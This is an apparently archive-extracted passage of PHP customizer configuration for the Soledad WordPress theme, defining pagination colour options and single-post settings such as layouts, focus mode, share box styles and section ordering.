	'id'       => 'penci_pagination_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Accent Color for Pagination', 'soledad' ),
	'id'       => 'penci_pagination_hcolor',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Color for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Borders Color for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_borders',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Background Color for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_bg',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Color on Hover for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_hcolor',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Borders Color on Hover for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_hborders',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Background Color on Hover for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_hbg',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

return $options;
PK     N\4k    F  inc/customizer/config/sections/penci_section_spost_general_section.phpnu [        <?php
$options      = [];
$single_style = array();
for ( $i = 1; $i <= 22; $i ++ ) {
	$single_style[ 'style-' . $i ] = esc_html__( 'Style ' . $i, 'soledad' );
}

$options[]         = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Single Posts Template', 'soledad' ),
	'id'       => 'penci_single_style',
	'type'     => 'soledad-fw-select',
	'choices'  => $single_style,
);
$single_layout     = [];
$single_layout[''] = esc_attr__( 'None' );
$single_layouts    = get_posts( [
	'post_type'      => 'custom-post-template',
	'posts_per_page' => - 1,
	'meta_query'     => array(
		'relation' => 'OR',
		array(
			'key'     => 'penci_desktop_page_id',
			'compare' => 'NOT EXISTS',
		),
		array(
			'key'     => 'penci_desktop_page_id',
			'value'   => '',
			'compare' => '=',
		),
	),
] );
foreach ( $single_layouts as $slayout ) {
	$single_layout[ $slayout->post_name ] = $slayout->post_title;
}
$options[]                     = array(
	'default'     => '',
	'description' => __( 'Will override the pre-build single posts template above. You can add new and edit a single post template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=custom-post-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Post Builder Template', 'soledad' ),
	'id'          => 'penci_single_custom_template',
	'type'        => 'soledad-fw-select',
	'choices'     => $single_layout
);
$penci_move_title_bellow_style = [
	'style-1',
	'style-2',
	'style-3',
	'style-4',
	'style-5',
	'style-6',
	'style-7',
	'style-8',
	'style-9',
	'style-14',
	'style-16',
	'style-17',
	'style-18',
	'style-19',
	'style-22',
];
$options[]                     = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Move Categories, Post Title, Post Meta To Bellow Featured Image', 'soledad' ),
	'id'              => 'penci_move_title_bellow',
	'type'            => 'soledad-fw-toggle',
	'active_callback' => [
		[
			'setting'  => 'penci_single_style',
			'operator' => 'in',
			'value'    => $penci_move_title_bellow_style,
		]
	],
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Focus Mode', 'soledad' ),
	'description' => __( 'This option will display a button in the footer. Users can click it to enable Focus Mode, which highlights only the main content of the page. It hides unnecessary elements such as the header, footer, sidebar, comments, related posts, and more.', 'soledad' ),
	'id'          => 'penci_single_focus_mode',
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => 'right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Focus Mode Button Position', 'soledad' ),
	'id'       => 'penci_single_focus_mode_pos',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'right'       => __( 'Bottom Right', 'soledad' ),
		'left'        => __( 'Bottom Left', 'soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_single_focus_mode',
			'operator' => '==',
			'value'    => true,
		]
	],
);
$options[]                     = array(
	'default'  => 'right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Single Posts Sidebar Layout', 'soledad' ),
	'id'       => 'penci_single_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'right'       => __( 'Right Sidebar', 'soledad' ),
		'left'        => __( 'Left Sidebar', 'soledad' ),
		'two'         => __( 'Two Sidebars', 'soledad' ),
		'no'          => __( 'No Sidebar', 'soledad' ),
		'small_width' => __( 'No Sidebar with Container Width Smaller', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Single Posts Sidebar Layout on Mobile', 'soledad' ),
	'id'       => 'penci_single_layout_mobile',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''            => __( 'Follow Desktop', 'soledad' ),
		'right'       => __( 'Right Sidebar', 'soledad' ),
		'left'        => __( 'Left Sidebar', 'soledad' ),
		'two'         => __( 'Two Sidebars', 'soledad' ),
		'no'          => __( 'No Sidebar', 'soledad' ),
		'small_width' => __( 'No Sidebar with Container Width Smaller', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delayed Load Sidebar Content on Mobile', 'soledad' ),
	'id'       => 'penci_single_delayed_sidebar',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => '1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Default Smart Lists Style', 'soledad' ),
	'id'       => 'penci_single_smartlists_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'1' => 'Style 1',
		'2' => 'Style 2',
		'3' => 'Style 3',
		'4' => 'Style 4',
		'5' => 'Style 5',
		'6' => 'Style 6',
	)
);
$options[]                     = array(
	'default'         => '780',
	'sanitize'        => 'absint',
	'label'           => __( 'Custom Width for "No Sidebar with Container Width Smaller" Layout You Selected Above', 'soledad' ),
	'id'              => 'penci_single_smaller_width',
	'type'            => 'soledad-fw-size',
	'ids'             => array(
		'desktop' => 'penci_single_smaller_width',
	),
	'choices'         => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '780',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_single_layout',
			'operator' => '==',
			'value'    => 'small_width',
		]
	],
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Container Width on Single Posts Page', 'soledad' ),
	'description' => __( 'Minimum is 600px', 'soledad' ),
	'id'          => 'penci_single_container_w',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_single_container_w',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Container Width for Two Sidebars on Single Posts Page', 'soledad' ),
	'description' => __( 'Minimum is 800px', 'soledad' ),
	'id'          => 'penci_single_container2_w',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_single_container2_w',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Image Size for Featured Image', 'soledad' ),
	'description' => __( 'This option doesn\'t apply for two sidebars layout.', 'soledad' ),
	'id'          => 'penci_single_custom_thumbnail_size',
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		global $_wp_additional_image_sizes;

		$image_sizes = [];

		$default_image_sizes = get_intermediate_image_sizes();

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Parallax on Featured Image', 'soledad' ),
	'id'          => 'penci_enable_jarallax_single',
	'type'        => 'soledad-fw-toggle',
	'description' => __( 'This feature does not apply for Single Style 1 & 2', 'soledad' ),
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Font Sizes Changer', 'soledad' ),
	'id'       => 'penci_single_font_changer',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Parallax on Featured Image on Mobile', 'soledad' ),
	'id'       => 'penci_dis_jarallax_single_mb',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Auto Play for Single Slider Gallery & Posts Format Gallery', 'soledad' ),
	'id'       => 'penci_disable_autoplay_single_slider',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Images Title on Galleries from The Theme', 'soledad' ),
	'id'       => 'penci_disable_image_titles_galleries',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lightbox on Single Posts', 'soledad' ),
	'id'       => 'penci_disable_lightbox_single',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Hide Featured Image on Top', 'soledad' ),
	'id'          => 'penci_post_thumb',
	'description' => __( 'Hide Featured images auto appears on single posts page - This option not apply for Video format, Gallery format', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Category', 'soledad' ),
	'id'       => 'penci_post_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Uppercase on Post Categories', 'soledad' ),
	'id'       => 'penci_on_uppercase_post_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Border Radius for Featured Image', 'soledad' ),
	'id'          => 'penci_post_featured_image_radius',
	'type'        => 'soledad-fw-text',
	'description' => __( 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>. If you want to disable border radius - fill 0', 'soledad' ),
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Aspect Ratio for Featured Image', 'soledad' ),
	'id'          => 'penci_post_featured_image_ratio',
	'type'        => 'soledad-fw-text',
	'description' => __( 'The aspect ratio of an element describes the proportional relationship between its width and its height. E.g: <strong>3:2</strong>. Default is 3:2 . This option not apply when enable parallax images. This feature does not apply for Single Style 1 & 2', 'soledad' ),
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Align Left Post Categories, Post Title, Post Meta', 'soledad' ),
	'id'       => 'penci_align_left_post_title',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Letter Spacing on Post Title', 'soledad' ),
	'id'       => 'penci_off_letter_space_post_title',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Post Title', 'soledad' ),
	'id'       => 'penci_off_uppercase_post_title',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Author', 'soledad' ),
	'id'       => 'penci_single_meta_author',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show Updated Author', 'soledad' ),
	'description' => __( 'If a post is created by one author and then edited and updated by another author, this option will allow you to display both authors in the post\'s meta data.', 'soledad' ),
	'id'          => 'penci_single_meta_update_author',
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_single_meta_date',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Display Published Date & Modified Date', 'soledad' ),
	'description' => esc_html__( 'Note that: If Published Date and Modified Date is the same - will be display Published date only. And if you want to display Modified date only - check option for it via Customize > General > General Settings > Display Modified Date Replace with Published Date', 'soledad' ),
	'id'          => 'penci_single_publishmodified',
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comment Count', 'soledad' ),
	'id'       => 'penci_single_meta_comment',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Views Count', 'soledad' ),
	'id'       => 'penci_single_show_cview',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Reading Time', 'soledad' ),
	'id'       => 'penci_single_hreadtime',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Dropdown Share in Post Meta', 'soledad' ),
	'id'       => 'penci_single_dropdown_share',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Font Size Adjustment', 'soledad' ),
	'id'       => 'penci_single_fontsize_adj',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Ajax Post View Count', 'soledad' ),
	'id'          => 'penci_enable_ajax_view',
	'description' => __( 'Use to count posts viewed when you using cache plugin.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Caption on Featured Image', 'soledad' ),
	'id'          => 'penci_post_thumb_caption',
	'description' => __( 'If your featured image has a caption, it will display on featured image', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Caption on Slider of Gallery Post Format', 'soledad' ),
	'id'       => 'penci_post_gallery_caption',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Move Caption of Images to Below The Images', 'soledad' ),
	'id'       => 'penci_post_caption_below',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Italic on Caption of Images', 'soledad' ),
	'id'       => 'penci_post_caption_disable_italic',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Blockquote Style:', 'soledad' ),
	'id'       => 'penci_blockquote_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
		'style-7' => __( 'Style 7', 'soledad' ),
		'style-8' => __( 'Style 8', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 1 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h1_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 2 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h2_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 3 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h3_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 4 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h4_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 5 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h5_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Tags Style', 'soledad' ),
	'id'       => 'penci_tags_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Tags', 'soledad' ),
	'id'       => 'penci_post_tags',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Like Count & Social Share', 'soledad' ),
	'id'       => 'penci_post_share',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn on the Sticky Share', 'soledad' ),
	'id'       => 'penci_post_stickyshare',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'         => 'style-1',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Sticky Share Style:', 'soledad' ),
	'id'              => 'penci_post_stickyshare_style',
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_post_stickyshare',
			'operator' => '==',
			'value'    => true,
		]
	],
);
$options[]                     = array(
	'default'         => 'left',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Sticky Share Position:', 'soledad' ),
	'id'              => 'penci_post_stickyshare_pos',
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		'left'  => 'Left',
		'right' => 'Right',
	),
	'active_callback' => [
		[
			'setting'  => 'penci_post_stickyshare',
			'operator' => '==',
			'value'    => true,
		]
	],
);
$options[]                     = array(
	'default'         => 'below-content',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Share Box Position', 'soledad' ),
	'id'              => 'penci_single_poslcscount',
	'description'     => '',
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		'btitle'             => __( 'Bellow Post Meta', 'soledad' ),
		'above-content'      => __( 'Above Content', 'soledad' ),
		'below-content'      => __( 'Below Content', 'soledad' ),
		'abovebelow-content' => __( 'Above & Below Content', 'soledad' ),
		'btitle-bcontent'    => __( 'Bellow Post Meta & Below Content', 'soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$share_style                   = [];
for ( $i = 1; $i <= 23; $i ++ ) {
	$v                      = $i < 4 ? 's' : 'n';
	$n                      = $i < 4 ? $i : $i - 3;
	$share_style[ $v . $n ] = 'Style ' . $i;
}

$options[] = array(
	'default'         => 's1',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Share Box Style', 'soledad' ),
	'id'              => 'penci_single_style_cscount',
	'description'     => '',
	'type'            => 'soledad-fw-select',
	'choices'         => $share_style,
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'         => '',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Share Box Bottom Style', 'soledad' ),
	'description'     => __( 'Apply for Above & Below Content and Bellow Post Meta & Below Content Share Position', 'soledad' ),
	'id'              => 'penci_single_style_bottom_cscount',
	'description'     => '',
	'type'            => 'soledad-fw-select',
	'choices'         => array_merge( [ '' => __( 'Follow Default Style', 'soledad' ) ], $share_style ),
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'         => true,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Disable Social Share Plus Button', 'soledad' ),
	'id'              => 'penci_post_share_disbtnplus',
	'type'            => 'soledad-fw-toggle',
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'id'              => 'penci_post_align_cscount',
	'default'         => 'default',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Share Box Alignment', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		'default' => __( 'Default Theme Style', 'soledad' ),
		'left'    => __( 'Left', 'soledad' ),
		'right'   => __( 'Right', 'soledad' ),
		'center'  => __( 'Center', 'soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'     => 'author-postnav-related-comments',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Re-order "Author Box" - "Post Navigation" - "Related Posts" - "Comments" Sections', 'soledad' ),
	'id'          => 'penci_single_ordersec',
	'description' => '',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'author-postnav-related-comments' => __( 'Author Box - Post Navigation - Related Posts - Comments', 'soledad' ),
		'author-postnav-comments-related' => __( 'Author Box - Post Navigation - Comments - Related Posts', 'soledad' ),
		'author-comments-postnav-related' => __( 'Author Box - Comments - Post Navigation - Related Posts', 'soledad' ),
		'author-comments-related-postnav' => __( 'Author Box - Comments - Related Posts - Post Navigation', 'soledad' ),
		'author-related-comments-postnav' => __( 'Author Box - Related Posts - Comments - Post Navigation', 'soledad' ),
		'author-related-postnav-comments' => __( 'Author Box - Related Posts - Post Navigation - Comments', 'soledad' ),
		'postnav-author-related-comments' => __( 'Post Navigation - Author Box - Related Posts - Comments', 'soledad' ),
		'postnav-author-comments-related' => __( 'Post Navigation - Author Box - Comments - Related Posts', 'soledad' ),
		'postnav-comments-author-related' => __( 'Post Navigation - Comments - Author Box - Related Posts', 'soledad' ),
		'postnav-comments-related-author' => __( 'Post Navigation - Comments - Related Posts - Author Box', 'soledad' ),
		'postnav-related-comments-author' => __( 'Post Navigation - Related Posts - Comments - Author Box', 'soledad' ),
		'postnav-related-author-comments' => __( 'Post Navigation - Related Posts - Author Box - Comments', 'soledad' ),
		'related-author-comments-postnav' => __( 'Related Posts - Author Box - Comments - Post Navigation', 'soledad' ),
		'related-author-postnav-comments' => __( 'Related Posts - Author Box - Post Navigation - Comments', 'soledad' ),
		'related-comments-author-postnav' => __( 'Related Posts - Comments - Author Box - Post Navigation', 'soledad' ),
		'related-comments-postnav-author' => __( 'Related Posts - Comments - Post Navigation - Author Box', 'soledad' ),
		'related-postnav-author-comments' => __( 'Related Posts - Post Navigation - Author Box - Comments', 'soledad' ),
		'related-postnav-comments-author' => __( 'Related Posts - Post Navigation - Comments - Author Box', 'soledad' ),
		'comments-author-postnav-related' => __( 'Comments - Author Box - Post Navigation - Related Posts', 'soledad' ),
		'comments-author-related-postnav' => __( 'Comments - Author Box - Related Posts - Post Navigation', 'soledad' ),
		'comments-postnav-related-author' => __( 'Comments - Post Navigation - Related Posts - Author Box', 'soledad' ),
		'comments-postnav-author-related' => __( 'Comments - Post Navigation - Author Box - Related Posts', 'soledad' ),
		'comments-related-author-postnav' => __( 'Comments - Related Posts - Author Box - Post Navigation', 'soledad' ),
		'comments-related-postnav-author' => __( 'Comments - Related Posts - Post Navigation - Author Box', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delayed Load "Author Box" - "Post Navigation" - "Related Posts" - "Comments" Sections', 'soledad' ),
	'id'       => 'penci_single_sec_delayed',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Author Box', 'soledad' ),
	'id'       => 'penci_post_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Top of the Author Box', 'soledad' ),
	'id'       => 'penci_post_author_rm_bt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Email Icon of Author on Author Box', 'soledad' ),
	'id'       => 'penci_post_author_email',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Uppercase for Author Name on Author Box', 'soledad' ),
	'id'       => 'penci_bio_upper_name',
